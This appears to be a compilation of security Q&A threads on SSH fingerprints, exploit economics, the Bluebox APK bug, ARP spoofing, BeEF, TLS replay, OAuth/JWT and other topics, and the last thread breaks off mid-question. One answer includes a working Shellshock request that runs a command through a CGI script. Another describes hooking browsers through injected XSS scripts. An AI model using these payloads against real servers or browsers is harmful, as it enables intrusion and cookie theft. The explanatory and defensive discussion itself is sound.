Verifying SSH fingerprint of a public server I have read somewhere that servers which have SSH access for users in the public can have their public key posted publicly (e.g., on a website), so that people who access such a server using SSH can use this key to verify the server's fingerprint.

My question: If the public key is accessible to the public, cant a malicious user get it and exploit it to man-in-the-middle people who try to connect to this server?

Also, what exactly is in this SSH fingerprint? Is it just a public key that has been hashed? Or is it server-specfic information that has been encrypted (or signed) by the server's private key?

A malicious user cannot exploit a publicly known fingerprint of a public key, because verification is not limited to comparing the fingerprint to a fixed value.

Server presents two pieces of information to a client:

a public key
a message encrypted with its private key (which exists only on the legitimate server)

On the client side the message is decrypted using the public key and its content is verified.

User is given an option to manually compare the fingerprint of the public key to a known value.

By comparing the public key fingerprint, user ensures it belongs to the server they want to connect. By decrypting the message, client application ensures the server "holds" the corresponding private key.

Knowledge of the public key or its fingerprint does not give an attacker any information about the server's private key (that's the most basic principle of public key cryptography).

If attacker planted a malicious server, it still would need to use a private key to encrypt communication with the client. Communication encrypted with this private key would require decryption with a corresponding public key (different to the legitimate one).

User can then compare the fingerprint of the public key used with the one of the legitimate server as published.

Of course if an attacker altered the information about the server's public key and replaced it with their own, that attack would work. Thus user must evaluate the trustworthiness level of the medium they learnt the fingerprint from. In simple words: if the fingerprint information is provided on an unencrypted HTTP site or through a compromised channel it cannot be trusted.

Historically default fingerprint was presented as 128-bit MD5 hash in the form of colon-separated hex values:

 43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8

The default was later changed to SHA-256 written as:

xrcV3g7R6sp8DVZGDEAhCL9s4TD9GFyrCbLCzHXi5iA

An OpenSSH client allows asking for a specific hash using the option FingerprintHash specified either in .ssh/config or directly in command:

ssh -o FingerprintHash=md5 example.com


Cost of finding vulnerabilities vs developing exploits From the perspective of someone who wants to develop a zero-day exploit against some software application or target, there are broadly speaking two tasks that the attacker must do: (1) find a new exploitable vulnerability in the software; (2) develop a reliable, weaponized exploit for that vulnerability.

For instance, fuzzing, reversing, and static analysis might help find the vulnerability; but then it takes separate analysis and work to build a reliable exploit.

Which of these two tasks tends to cost more, on average?  I'm wondering what do the economics of this look like, and to get a sense of the ratio of costs for these two tasks.  I know that if you look at a single vulnerability, the costs will depend on the vulnerability, but I'm asking about the average case.  For instance, if we looked at a company that develops exploits, in aggregate, would we expect more of its budget to go towards 1, or towards 2?

Assume we're attacking a widely-used, relatively mature end-user software application.

The relative costs depend very much on what the vulnerability is.  To demonstrate this, I'm going to refer to two semi-recent vulnerabilities: the Bash "Shellshock" bug, and the glibc "Ghost" gethostbyname() bug.

Shellshock

The Shellshock bug was caused by an intricate flaw in Bash's function parsing that could be used to make Bash execute code directly out of environment variables.  The bug existed for roughly 22 years before it was publicly found.

A check for whether the bug exists looks like this:

$ env X="() { :;} ; echo vulnerable" /bin/sh -c ":"

Now, finding that bug takes either careful scrutiny of the source code, or a good session with a code fuzzer.  But as soon as it's reduced to a test case like this, exploits come easily.  For instance, if you know a target server is running a CGI shellscript:

$ nc vulnerable.example.com 80 <<__END
GET /path/to/cgi.sh HTTP/1.1
Host: localhost
User-Agent: () { x; }; printf "%s\n\n" "Content-type: text/plain"; /usr/bin/id
Accept: */*

__END

So Shellshock was hard to find, but once found, it was trivial to exploit.

Ghost

The glibc gethostbyname() vulnerability, on the other hand, is a buffer overflow vulnerability that can only happen under certain very specific conditions.  An attacker can overwrite at most 8 bytes of memory on 64-bit machines, or 4 on 32-bit machines.  The attacker has to set up a specially crafted DNS entry, then trick the target into requesting it.

This bug went unfixed for around 13 years, and when it was fixed it was not recognized as a security vulnerability.  The Qualys security researchers who did report it as a vulnerability spent a large amount of time testing individual programs for exploitability.  A large majority were not, due to the 8-byte limitation and the particulars of how gethostbyname() is typically used.  Note too that simply triggering the bug will generally cause the program to crash: more a denial of service than an exploit.

Their coup de grace, a full remote exploit of the Exim mailserver, is a meticulously engineered Rube Goldberg chain that managed to work around the limitations using specific properties of how Exim happens to organize its memory in specific situations.  It's described fully in the security advisory from Qualys, and is too complicated to go into here.

Comparison

I will admit I'm not sure which bug was harder to find.  Both sat latent in the code for a long time.  Qualys found the Ghost bug "during a code audit"; Stéphane Chazelas found the Shellshock bug by extrapolating from things he already knew about Bash behavior, and an entire series of related bugs were found very quickly once people knew where to look, some with the help of fuzzing tools.

However, the question of which was harder to exploit is much easier to answer.  I think it's clear that a very high level of engineering went into finding a way to turn the Ghost bug into a working Exim exploit.  Much more work was required than the Shellshock exploit above, which took about 10 minutes to write and test.


What is the impact of the Bluebox Android APK integrity vulnerability? Bluebox have recently disclosed a vulnerability (Android security bug 8219321) in Android, that is getting a lot of coverage in the media.

The title of the post is "Uncovering Android Master Key" - I'm assuming this is just a media-friendly headline, and a master key doesn't come in to it.

From what they have disclosed so far, it allows for

  APK code modification without breaking the cryptographic signature

Taking this at face value, if it is possible to take a signed Android application (APK) and modify it without invalidating the signature, what practical attacks are possible?

What is the risk to a typical Play-store-only user (probably only installing high ranking search results and featured apps in the Play store)?

Some more specific questions:

Given a validly signed (maliciously modified) APK, what are the barriers to getting the legitimate Play store version of the app updated with that file?
Would a man-in-the-middle attacker (e.g. malicious wifi hotspot) be able to exploit auto update in any way (this might be - are APKs delivered over HTTPS?)
They state that a signed app that appears to come from the device manufacturer allows full system access - are these permissions different to the normal Android permissions system? How does it work? Are system updates delivered as APKs and is there any risk here?
How much does this help phishing attacks? Presumably a user would still need to enable installation from "unknown sources"?

I appreciate that at this point the full details of the vulnerability are not publicly available*, so I'm looking for answers based on the above quote, and possibly extrapolating additional information from anything else Bluebox have said or from other reputable sources.

* presumably if this bug has been fixed in any publicly released updates, we will very quickly find out what it is from people analysing the deltas in the APK verification area.

The practical exploit is the ability to later substitute different code from that signed, either on an individual basis or wholesale.

The ability to substitute entirely different code, without changing the signature means that the application could undergo rigorous review, and be signed off as a harmless or beneficial application, but the installed version would run an entirely different set of code which had never been reviewed. Yet the signature would be the same, so as far as Android is concerned it is still a trusted application.

Worse, this could be implanted into the device by anyone with physical access without special knowledge. For example, if the APK was stored on an SD card, the SD card could be slipped out, altered, and replaced in minutes. But as far as android is concerned, the signature is the same so it must be the same app.


Finding the method of attack My server has been repeatedly attacked in the last few days. Here's the observations:

The ISP server traffic monitor shows the incoming traffic goes up to 300Mbps (with no outgoing traffic), and holds for 10 minutes.
I've got fail2ban turned on, and ICMP echo off. I've got port 80/443, 22 open, and this is an Ubuntu 12 server. The log shows that the incoming traffic is not recorded by nginx or sshd, which means no successful connection to these port were attempted.
I'm pretty positive that I'm not suffering from any kind of data loss, and the server is not hacked.

I understand that this is some form of DDOS attack. I'm wondering if there are any system logs that I can review to find the source of the traffic and the type of attack?

Depending on the type of attack you can either do this with ip tables ( if you are running Linux) or request your ISP to see where the traffic is coming from. The latter is actually the best option as the traffic might contain spoofed IP addresses. Your ISP should be able to locate where the traffic is coming from ( roughly) and see if they can block it using BGP.

You can't do anything against a DDoS locally, once the traffic reaches you it's already way too late.


Kernel32.dll , Kernelbase.dll and Malware I noticed that the same malware will export CreateProcessInternalW from kernel32.dll in Windows 7 and KernelBase.dll in Windows 10.  Why is it exporting the same function from different DLLs?

CreateProcessInternalW is not part of the "public" API exposed by Windows.  Consequently, Microsoft is free to move it or reimplement it how they see fit.  (Including removing it entirely, unlikely though that may be.)

Starting with Windows7, Microsoft started building something that they called "MinWin", which is the minimal set of Windows DLLs & Kernel necessary to create the core of the OS.  (Probably intended for containerization or standardizing an embedded core.)  This lead to the creation of KernelBase.dll, which contains the MinWin functionality for Kernel exports.  Many functions in kernel32.dll are just stubs that call their partner function in KernelBase.dll.

I'm not in front of a Windows 10 box right now, but I would guess that CreateProcessInternalW moved to KernelBase.dll as part of this, and so consequently the malware developer is looking for it there in Windows 10.  (Perhaps kernel32.dll no longer exports the symbol.)


Database encryption or filesystem encryption? Recently I've been working on some data which, although not directly governed by any infosec laws, is sensitive enough to warrant being encrypted. I'm interested in finding out about best practises with regards to storage of such data, in particular whether encryption is best implemented at the OS / filesystem level or at the database level?

What are the pros and cons of these two approaches in terms of security, scalability, and accessibility, and is either one of these approaches inherently better than the other?

The particular application I'm working on is a webapp, and it should go without saying that the data will need to be transmitted over HTTPS, since storing data in a secure fashion is pointless when it is transmitted over an open connection.

The encryption you use depends on the risk you're trying to mitigate. File/disk encryption is typically used to protect against theft of the physical media. i.e. they won't be able to access the content as it's encrypted. For a web application this doesn't provide any additional protection so protection of the data within the database may make more sense.

If a malicious external user manages to dump the database, they'll only have access to encrypted data (and hopefully not the encryption/decryption keys) and your encryption control has been a success. Alternatively, if the end user manipulates the application to extract data from the database in decrypted form (which the application must be able to do) then the encryption control hasn't mitigated that particular risk!

Also, as you likely only want to encrypt some of the data, doing that at a database column level should provide minimal overhead.


How trustworthy is Firefox? I looked at different password managers, to swap my user-generated, more or less predictable passwords for automatically generated, secure passwords. I stumbled upon KeePass and FeeFox (for Firefox integration), which seems to be a good and trusted combination.

However this led to one question: Why shouldn't I trust the built-in password manager and synchronization feature? I already trust Firefox for everything I do and they could steal my passwords anyway, even if I wouldn't store them in the password manager. Is there anything which speaks against this (as long as I generate safe, random passwords for every page and encrypt the password database with a secure password)?

Also, one second question popped up: How trustworthy is Firefox anyway? On their privacy information page, they state the following:

When do we share your information with others?
...
When the law requires it. We follow the law whenever we receive requests about you from a government or related to a lawsuit.
...

So it would be possible that they share everything they know about me with (American) governmental organizations. Are there even alternative browsers which wouldn't do this?

I agree with RobM.

  So it would be possible that they share everything they know about me with (american) governmental organizations.

Yes, very possible.

  Are there even alternative browsers which wouldn't do this?

The Onion Router. There may be others. Even Firefox will work this way if you use local syncing, and disable malware and phishing protection. Personally, I would not disable those.

Can you trust Firefox?

I don't think this is a Firefox issue. This is a government issue. For example, you can read about telecommunications data retention in various countries. The Electronic Frontier Foundation has a good write-up about the Stored Communications Act.

You should note that synchronization usually means your data is stored online. I am aware that local syncing is possible. However, because of the wording, they are likely storing your data online ("in the cloud"), and are required to hand it over to the proper authorities if compelled.

Let me reiterate: If, as a company, you're storing information online about users/customers, then in many cases you can be required to hand it over when compelled by law enforcement. If you are not storing information, you don't have to hand over what you don't have.

Firefox is storing information if you allow it. This is a very convenient feature which has the added affect of being held to government data regulations. If you ask me, Firefox is very trustworthy. However, do you trust the government of your country?

Even simple Metadata can be used to quickly identify you

Because of Metadata, whether this is encrypted or not may be irrelevant. They may be able to decrypt your cloud-stored data. Even then, it may not matter due to certain laws in certain countries. Wait, what?

For example: user connected to X server at Y time may be all they really need. As an example, you could be in China and end up visiting a website associated with Falun Gong. For Firefox to operate in China, they would be compelled to cooperate with Chinese law.

They may store your meta data details, such as the IP address you connected to before checking if it was a malicious website or not, even if you're behind a VPN at the time, your previous profile was associated with other IP addresses.

This is just a rough example of how meta data can work, and is not necessarily relevant to you. It's my hope that this would explain how powerful meta data is so you can apply it to other situations.

Firefox's Built-In Phishing / Malware Protection

Let's see what Mozilla has to say. How does built-in Phishing and Malware Protection work?:

  "Firefox will request a double-check to ensure that the reported site has not been removed from the list since your last update. This request does not include the address of the visited site, it only contains partial information derived from the address."

This partial information / metadata = exposed as a rebel sympathizer. The Death Star is on it's way.

If you don't like that idea, then don't sync online, and don't use the built-in phishing and malware protection. Personally, I don't like the concept of syncing in many situations. However, I will use the built-in phishing and malware protection as it helps minimize the amount of work I have to do while surfing the web, and it protects me!

Mozilla is up-front about what they are doing. They are not lying to you.

So why does Firefox cooperate with the government?

They have to. And why wouldn't they? In many cases, there are very good reasons to do so, for example, to track down criminals. Obeying the law is a cornerstone requirement to doing business in any country. If you don't like a country's laws, you have the choice to leave, and not do business there. Try to break those laws, and see how long you last.

Unfortunately, there are also cases where countries do not offer fair trials, and would quickly imprison, or even execute anyone caught engaging in banned activities, such as religious organizations like the Falun Gong. Again, if a company doesn't like the laws of a country, they may leave.

Raising awareness and fighting against corruption is one thing, and beyond the scope of this answer, but you can't expect to do any kind of business in any country, unless you obey their laws. And that's why Firefox provides this disclaimer. They are telling you the truth, even though they can hide it from you.

If you ask me, Firefox is very trustworthy. I don't know what your government is up to, or if Firefox has a presence in your country, though.


we have several users on a WiFi. apparently one of them has hacked in and is denying service to others. what can be done? we have several authorized users on our WiFi (school). it appears that one of them has a program to deny service to others. do you know any of these programs and what can be done to prevent this?

There are several ways an attacker can deny people's access to Internet.

For example SYN flood or MitM.

MitM is more probable and much more efficient though, popular app WifiKill uses this principle (it makes the device(s) think that it's the router and then it drops all their packets)

I suggest:

start intercepting traffic
once you're sure that an attack has happened already, stop intercepting
open the capture file in Wireshark

Analysis:

Write down your router's MAC address and local address.

Type "arp" into the Wireshark filter box to see the ARP packets

If you see something like 192.168.0.1 is 01:23:45:67:89:ab
where 192.168.0.1 is your router's local address but 01:23:45:67:89:ab is not its MAC address, you are seeing an MitM attack based on ARP spoofing (which is what WifiKill uses)

You can use arp -a (on Linux) to see the local/MAC addresses.
I think you will see one MAC address twice if an attack is running (and of course the router's MAC will not be the value that you have written down)

What's really nice is that ARP packets in Wireshark are very easy to understand even for not-very-technical person.

You will see conversation like:

Who has 10.0.0.6? Tell 10.0.0.138
10.0.0.6 is at 00:17:f2:20:e6:bf

And SYN flood is obviously enormous amount of SYN packets in extremely fast rate.

Defense:

You can block their MAC address at the router, but be aware that they can change it.

  apparently one of them has hacked in and is denying service to others.

Be sure you're using WPA2 without WPS. You can add MAC filtering, but note that it's easy to bypass. However, if the attacker obtained the wifi password from a legitimate machine, they might not be able to avoid being MAC filtered. Always use multiple layers of security.

Summary

The attack is most likely based on ARP spoofing, which can be easily detected if you have a packet capture sample.

To make sure this does not happen again, secure your network as much as possible.


How does BeEF work? (working understanding) I have recently come across the BeEF- a browser exploitation tool. In most of the articles, it is said time and again that it is developed for research and pen test purposes! Has anyone worked with this tool?(If so can you give a working understanding or please point to some links where they have explained more real life examples)
What purpose does it have in real world? I am curious to know how it would enhance the security in an organization.

Alright, BeEF is a framework similar to Metasploit. BeEf uses a javascript, hook.js, which when executed by a browser, gives a hook to BeEF. With a hooked browser, similar to metasploit, you have an array of exploits in front of you. Some of them are viewing cookies, browser history to the more sophisticated attacks of getting a shell. I know for a fact that there is a shell exploit that uses a JBoss vulnerability.
So, how the attack works is as follows, the client visits a malicious page, which contains BeEF's hook.js script running on it, or it can be executed via a XSS attack. When this is executed, you can see that a browser is hooked to you on your BeEF control panel and thereafter, launch exploits.

More Details: The BeEF launches a BeEF instance which is a combination of the UI server(the UI which is used to launch attacks and shows the various exploits) and the communications server which coordinates and communicates with the hooked browsers. These 2 servers in collaboration makes BeEF work.

BeEF has a very clean interface, by organizing attacks based on type and also indicating if particular attack is relevant to a browser (IE, FF, Chrome etc.). So you can just point and click on the attacks to launch.

  What purpose does it have in real world? I am curious to know how it would enhance the security in an organization.

It can be used as a serious Pen Test tool. In most cases, when you demonstrate an XSS to a client (assuming you're a pen tester) it does not have that much of an impact when you show them a silly pop up. On the other hand, if you demonstrate XSS using BeEF, now that will give them a scare.

Further reading: http://code.google.com/p/beef/wiki/WindowsInstall


Why do I get spam in my newly created email account before even using it? I made an email account at hotmail.com. Before even using once anywhere I already receive spammail. My question is, how is that possible? And is it unavoidable (from the perspective of an email provider)?

It looks like you already have your answer. Your email address is easily guessable since it follows a very common naming convention. This is a problem today, even for large corporations. The takeaway here, if you're interested, is to avoid using email addresses in applications you use or design, as a log in username. Also, if you are using your email address across multiple applications on the Internet, ensure you are using unique passwords and understand the risk of someone attempting to access those apps (e.g. banks) with credentials they stole somewhere else.


Preventing HTTPS Replay Attacks I've read here that HTTPS replay attacks aren't possible from MITM attacks but I want to be sure that it's not saying that HTTPS replay attacks aren't possible at all. I want to know if I have to implement my own obscure method for temporarily preventing the inevitable or if something like this already exists.
Suppose the attacker is the client. They have access to the client and are communicating with the server legitimately, analyzing the traffic. Therefore the attacker has access to the client's private key (or at least, the ability to replicate its generation). What's stopping them from just replaying the traffic through a fake client after sniffing the payload before it's encrypted? That is to say, running it through the client to encrypt it then send it themselves.
My client relies on the hardware information from the system to validate one-user-per-subscription and want to know what all of the weak points are for this system. Spoofing it seems really easy if they generate it normally once then spoof it every time after.

A replay attack at the TLS level (and thus HTTPS) as you imagine would mean that some attacker could simply replay a captured TLS session or inject a previously captured packet into an existing TLS session.
None of this is possible: Replaying a full session cannot be done since the master_secret as the base for encryption includes both client and server random data, i.e. the master_secret does not depend on the client alone. Injecting a previously sniffed record is not possible since each record has a sequence number  and simply replaying a record will be detected due to an old sequence number. Changing the sequence number will not work either since it is protected against manipulation like the rest of the record.
But if an attacker has access to the plain (unencrypted) request he can simply replay this request within some new TLS session. This would be HTTP level replay though and not TLS or HTTPS level replay.

My client relies on the hardware information from the system to validate one-user-per-subscription ...

Based on this your client relies on the client not cheating in the first place - which is contrary to the attack vector you describe. But a client could do cheating: for example the client could run in some emulated environment which can be cloned and exhibit the same behavior in another system.
The client could also partially reverse engineer or hook your app to capture and modify the plain request before it gets send. This way it can capture the plain (unencrypted) request on one system and make sure that the other system uses the same request.


How to dynamically generate the hash value of a file while it gets downloaded from any website? I've tried generating the hash value of a file that is trying to get downloaded and compared it against the list of hash values, and if there is a match then it doesn't get downloaded.Here i have manually given the details of websites url and the file that needs to be downloaded. Now i need this to be happen dynamically i.e whenever a file from any website is trying to get downloaded then its hash value should be generated and if it matches with the list of hash values available then it shouldn't get downloaded otherwise it can download.I also have idea of injecting a plugin on to the browser where this functionality is dynamically executed. But I don't know if the this workout or not.

I hope you understood my problem statement and I request you to help me in solving it.

Agreed with vidarlo, this is impossible.

Ultimately, you'll need to download the file, in order to determine its hash. What you're asking is to determine the hash of a file before downloading it!

What is possible is a script that hashes each file in your downloads directory and then perform some action depending on the hash matching. The script could be scheduled to run every 10 minutes or so.

It's hard to make a recommendation, since we have no idea what it is you're trying to accomplish by blacklisting a specific file.


HTTP Digest Authentication: Does the server store plaintext passwords? Having just finished the chapter on digest authentication in HTTP - The Definitive Guide, I'm not quite sure what the server stores as the client's secret† in its database:

the client's plaintext password or
an MD5 hash of the client's password concatenated with the username and realm

On page 287 of the book, it reads

  The client and the server both know the secret password

Also this answer states that

  [digest authentication] makes it necessary to store the passwords at the server in plain or in some equivalent form

This answer also indicates that the server stores the password in plaintext:

  the server looks up the expected password for the user from its user DB

Yet RFC 2617 contradicts this (emphasis mine):

  Normally [what the server stores] might contain pairs consisting of username and H(A1), where H(A1) is the digested value of the username, realm, and password as described above.

My question is: In the context of digest authentication, does the server store the client's plaintext password or does it store a hash of the plaintext password (combined with username and realm)?

Note: This is a theoretical question, I'm not intending to use Digest Authentication over non-encrypted HTTP and I know MD5 is prone to dictionary attacks.

† With "secret" I mean the string that the client combines with a nonce received from the server and then hashes to send it to the server for authentication.

It depends on the implementation.  Digest authentication is just an authentication mechanism for communicating the credentials.  The server will likely receive the plaintext password when the password is initially set, but can choose what it wants to do with it based on implementation.  It could store it reversibly encrypted (effectively plain-text) and compare to the hash calculated on both sides (insecure), or it could hash the hash of the input from the user and verify it matches a stored hash that is similarly hashed with the nonce depending on how the server is storing the password.
For a windows server, it will depend on if the domain controller that is backing it has reversible passwords turned on or not.


How effective is an IDS at catching targeted attacks I have recently become very familiar with IBM Site Protector. As I understand things, Site Protector is in the top tier of IPS/IDS systems, used by some of the largest Fortune 500 companies.

I was surprised to see the high amount of false positives and the overall lack of tags that may be specific to indicating a targeted attack.

I saw a network security analyst reporting many alerts raised that could be suspicious such as those relating to SQL Injection. These dismissed by the analyst as false positives. When inquiring as to how this could be ascertained in the software, I was told there were no further specific labels/alert types to investigate.

Since there seem to be a lack of specific alerts, I have to wonder how useful IDS software at the highest level is at detecting specialized targeted attacks.

To clarify the type of attack I am talking about, I will give an example:

Port scans against a specific target
SQL injection attempts against a specific target
Credentials obtained such as from obtaining them from a database via succusfull SQL injection
SSH installed or remote shell established. Some type of remote interface that should not be typical for the target.
Other anomalous behavior, such as large amounts of traffic over non-standard ports from the target.

From what I witnessed the SQL_Injection alert did not even show the parameters in the URL, only the file name in the URL, so it would be hard to even see if SQL Injection took place.

If there are no alerts to that would show the activity in the attack scenario above, and most SQL Injection and even buffer overflow alerts tend to be dismissed as a false positive(when even one instance could be a successful attack), how useful is using an IDS to detect such an attack?

IDSs will probably be about as effective at detecting targeted attacks as non-targeted attacks.

I wonder if there might be some misunderstanding about what a "targeted attack" is.  The difference between a targeted attack and a non-targeted attack is in whether the attacker tries hacking everyone or hacking just you.  Targeted vs non-targeted is orthogonal from which technical method the attacker chooses to use in the attack.

Generally speaking, IDS is best used for detecting common, low-sophistication attacks.

However, a sophisticated attacker can readily evade an IDS.  Custom attacks are not likely to be detected by an IDS.  Also, an IDS is not likely to detect advanced persistent threats (APTs).  And, a network-level IDS is not likely to be very good at detecting spear phishing: e.g., targeted malicious emails, targeted attacks through social networks, and that sort of thing.  Email-based vectors probably need to be detected at your mailserver, not by something that monitors your network.  Web-based vectors are even harder for a network monitor to detect.

Generally speaking, I don't recommend relying upon an IDS as your primary line of defense.   It's OK as a secondary defense to catch some things that you might not have stopped with your primary defenses, but you shouldn't use an IDS as your only defense.  Your primary defense should use other methods (e.g., firewalls, software updating/patching, system configuration and administration, user education, good software development practices).


Why am I receiving hits with SPT=443 on IPv6? I block most everything with my firewall, what I don't get is why would I constantly receive hits to connect on random ports from port 443.

  [iptables] reject_ipv6: IN=eno1 OUT= MAC=...
  SRC=2607:f8b0:4005:0805:0000:0000:0000:200e
  DST=<one of my IPv6 IPs>
  LEN=80 TC=32 HOPLIMIT=120 FLOWLBL=753719 PROTO=TCP
  SPT=443 DPT=33820 WINDOW=65535 RES=0x00 ACK SYN URGP=0

As far as I know, I do not own IP address 2607:f8b0:4005:0805:0000:0000:0000:200e so it's not coming from one of my computers.

Is that an attempt to hijack an existing connection that would (by chance) by using port 33820 (a.k.a. the destination port) on my server?

It seems your server is connecting to that IPv6 address, which is assigned to Google, on HTTPS and this is the reply from that server, as you can see by the SYN and ACK flag.

My guess would be that your firewall is not allowing established connections initiated from the 'inside' and thus is blocking this traffic.


755 permission of uploaded files I just want to know, if giving 755 permission to an uploaded file is a security problem. If someone upload a malicious file, will the execute permission be a problem?

In this answer, he is giving the file that permission. Is this right?

It depends on the application, but generally it is "yet another factor that must be taken into consideration". In addition to checking the content and type of uploaded files, saving uploaded files outside of web server's executable directories and a multitude of other necessary precautions.

For detailed information refer for example to the OWASP article on file upload.

In practice however attacks could utilize a web server's user account, so it is more a concern your disabling x permission for all users rather than limiting just other as one comment under the referenced answer suggest.


Accesssing cookies of another domain using Iframes and Javascript Using Iframe we can embed webpages of another domain provided the X-Frame-Options isn't set to SAMEORIGIN. This also loads the cookie inside the iframe.
Now, one can access this cookie if it's in the iframe box using document.cookie. I wanted to ask if it's possible to send this cookie by mailing this to oneself (by writing a script inside the iframe tag).

My Opinion:
This is possible if we can write the script tag inside the iframe tag in the web-page. But it doesn't seem to work in my case.

We can also insert a script dynamically inside the iframe. I wanted to know if it's possible or not.

I think it might not work since the iframe loaded might overwrite all the content inside the iframe tag and the script tag might not work.
If this is the case then why there is a iframe closing tag at all. Can't it be only: iframe src="https://abc.def.com" tag to define iframes?

Same Origin Policy ensures that you cannot read or modify the content of a page with different origin. In case of the iframe this means that the parent frame can fully replace the iframe (and thus changing the origin) but it cannot read or modify the contents of the iframe has a different origin.

Thus reading a cookie cross-origin from an iframe will only work if the content of the iframe explicitly communicates with the parent frame (like with postMessage) to share the cookie value. Usually this is not the case with unrelated origins but if you find a XSS attack at the iframes origin then you might be able to trick the iframe into sending this cookie to the parent frame.

Note that X-Frame-Options is unrelated to the same origin policy. It is only used to define if a site can be put into an iframe or not. This is important to defend against Clickjacking or other UI-Redressing attacks.


Handle snort's rules remotely I have multiple snort sensors in my network and i would like to handle the rules of each one remotely.

Is there any software that do that ?

thanks in advance

If you can give more details on your network maybe we can recommend something more specific.
But a very general answer would be that you can use one of the rule managers:
PolMan
OinkMaster
or
pulled_pork

however, maybe you are better off using a more general server management tool like apache puppet


Running webserver with SSL enabled but not used We have a web server hosted by a third party running on port 80. They have also enabled SSL but we did not use it. We are just using port 80. Right now, when I do a vulnerability scan, some SSL vulnerabilities are detected and I am concerned that if hackers manage to compromise SSL, would it affect my web server as well.?
Thanks.

It depends on the exact vulnerabilities which have been found, but unless there are very specific threats like buffer overflow, code injection, etc. which have been found, the general answer is that if you do not use SSL, then you are not concerned by SSL weaknesses.

SSL goal is to provide communication channel security through confidentiality, integrity and authentication. Generally, SSL threats will try to attack at least one of these points in order to lessen the SSL connection security. This would allow things as deciphering encrypted exchanges, impersonating the SSL server, etc..

But, since you are using HTTP only, then there is no communication channel security used and therefore none to be attacked. So, would SSL port being badly configured with poor cipher suites and poor certificates, this will not affect your HTTP-only service.


Creating subkeys for an existing OpenPGP key I have an existing OpenPGP key which has been used infrequently.  All capabilities appear to be bound to the master key, there are no subkeys.

/home/user/.gnupg/pubring.gpg
------------------------------
sec   rsa4096 2014-06-02 [SCE] [expires: 2017-06-23]
  .. key details, no subkeys ..

I would like to move to a subkey for signing and a subkey for encryption, as documented by Debian.  This will allow me to use a smart card and store the master key offline.

With the following background:

There is no indication any keys have been compromised, I just want to improve overall security by not having the master key on my PC.
I haven't used the key to sign anything.
I don't mind if I can't decrypt old data.

Can I generate two subkeys, remove the sign/encrypt capabilities from the master and keep using this key?  Or is there a compelling reason to generate a completely new key with a transition statement?

If you're (somewhat) sure that the key is not compromised, I'd simply create a bunch of subkeys and move whatever keys you want to smartcards or other offline places. Adding subkeys is easily possible by using gpg[2] --edit-key and the addkey commands.

The usage flags are stored in a signature subpacket, so changing them does not change the key (with respect to it's key ID, which would invalidate all certifications). Yet, editing the usage flags in GnuPG is not possible (but by hacking the code). From a message by Resul Cetin on that mailing list thread:

  Ok, it was quite easy to do (not clean, but it could be done in a fast and
  hackish way). Just searched for gnupg-1.4.9/g10/getkey.c:parse_key_usage and
  changed p to non-const and always set (*p) &=~2;. Afterwards I started my
  new compiled hackish-gpg --edit-key and set the expire of my master key. After
  this procedure I had only the Cert flag set. Thanks Christoph - you are my
  personal hero of the day :)

Personally, I would not care too much for the master key's usage flag. If an attacker gets hold of the primary key, he would be able to change the usage flags, anyway.


How are possible uses for X.509 (SSL) certificates denoted? X.509 certificates can be used for servers, clients, email, code signing and more applications. http://twitpic.com/6gdxaq indicates that a certificate can have different of these 'capabilities' on it - but how do you see those? What X.509 field denotes these different uses?

X.509 "Key Usage" defines what the issuer allows the certificate to be used for. Remember that not all applications follow this requirement however.


Refresh tokens in OAuth2 with JWTs I'm trying to implement the OAuth2 resource owner flow. My authorization server successfully generates JSON web tokens, so my next step is to implement refresh tokens for my web application.

Everything that I have read explains that when requesting an access token from your authorization server you include the resource server URL as the client_id. This is then put in an aud claim within your JWT. Is this correct?

If so, my issue arises when I try to implement refresh tokens. Refresh tokens are issued on a per client basis, so that client_id field now needs to identify the client, and not the resource server URL. With this being the case, my authorization server now doesn't know who to issue the token for, so it doesn't know what to add in the aud claim within the JWT.

I'm looking for some advice on the best approach to solve this issue in relation to the OAuth2 spec, there doesn't seem to be a concrete answer out there for this problem when mixing OAuth2 and JWT.

Does anyone have any ideas?

My current flow looks like this:

Client sends request to authorization server with username in the username field, password in the password field and the resource server it wants access to in the client_id field.
Authorization server validates the username and password, and checks if it can generate a JWT for the requested resource server.
It returns a token if both of those checks pass, the token contains an aud claim which matches the client_id that came in the request.

Everything that I have read explains that when requesting an access token from your authorization server you include the resource server URL as the client_id. This is then put in an aud claim within your JWT. Is this correct?

No, that's not. The 'client' is an entity that perfoms the request, and it should be identifiable and audited independently from the resource server ( and there can be multiple clients for the same resource).
OAuth 2.0 specification provides the following definition for client_id

  a unique string representing the registration information provided by the client. The client identifier is unique to the authorization server.

For resource owner flow client credentials can be skipped only if the client is not confidential (http://tools.ietf.org/html/rfc6749#section-2.1), in other case pre-registration would be preferred (client should be issued unique client_id and client_secret).

By the way, according to the specification you don't need any client credentials to refresh access token. The only required parameters are grant type (should be set to "refresh_token") and refresh token itself.

Regarding JWT token and "aud" claim

  The "aud" (audience) claim identifies the recipients that the JWT is intended for.  Each principal intended to process the JWT MUST identify itself with a value in the audience claim.

In other words it's a JWT equivalent for client_id. And the same rules as for client_id are applicable. I recommend to go into OpenID Connect specification that is build on top of OAuth and has a lot of prescriptions how to work with JWT tokens and OAuth 2.0 protocol as well as detaild explanation of JWT claims usage.

I can suggest the following options to your problem

Do not use "aud" claim in resource owner flow, as it is optional for OAuth (but required for OpenID Connect)
Issue a real client_id and fill "aud" by this value (actually depends on client type - is it confidential or not)


How do I verify a user over the telephone? We have users -they can call us on the telephone. How do we validate that the users are who they say they are?

Here are some possible solutions:

Check personal information such as date of birth: DOB can be guessed from Facebook and Linkedin + there are data-protection issues around storing DOB
Check the telephone number of the user: I was told that it's easy for an attacker to forward calls to a device that they control
Create a database of security questions and answers: we would have to create and maintain a database

Is there a standard robust way of doing this?

Relying on publicly know information is problematic. Storing personal security questions+answers is unlikely to scale well if many others adopt the same approach.

If you want to authenticate someone who is using your service, ask them questions about their association with you. Examples include:

Give all users an account number, transaction number for the issue, etc.
Ask about past transactions / orders (and make sure this is something that they can access easily)

Calling them back on a given telephone number is also a useful approach, and adds defense-in-depth. However, you then need to think about mutual authentication-- how can you ensure that the user trusts the call. If done right, this can further boost the security of your system.

Make sure you use some form of rate limiting and track when authentication attempts are made. Make sure these attempts are communicated back to the user "out-of-band".


How does bidirectional authentication using SSL work? Let's say Alice wants to use a webservice on Bob.

Bob is on bob.in.wonderland.com

Alice opens a connections to bob.in.wonderland.com:443. Taken by DNS magic rabbit, Alice arrives on port 443 at 69.64.156.40.

Alice asks for a certificate and Bob presents its, issued by Diginotar to bob.in.wonderland.com. As Alice trusts in Diginotar, she is quite assured that is indeed talking to Bob.

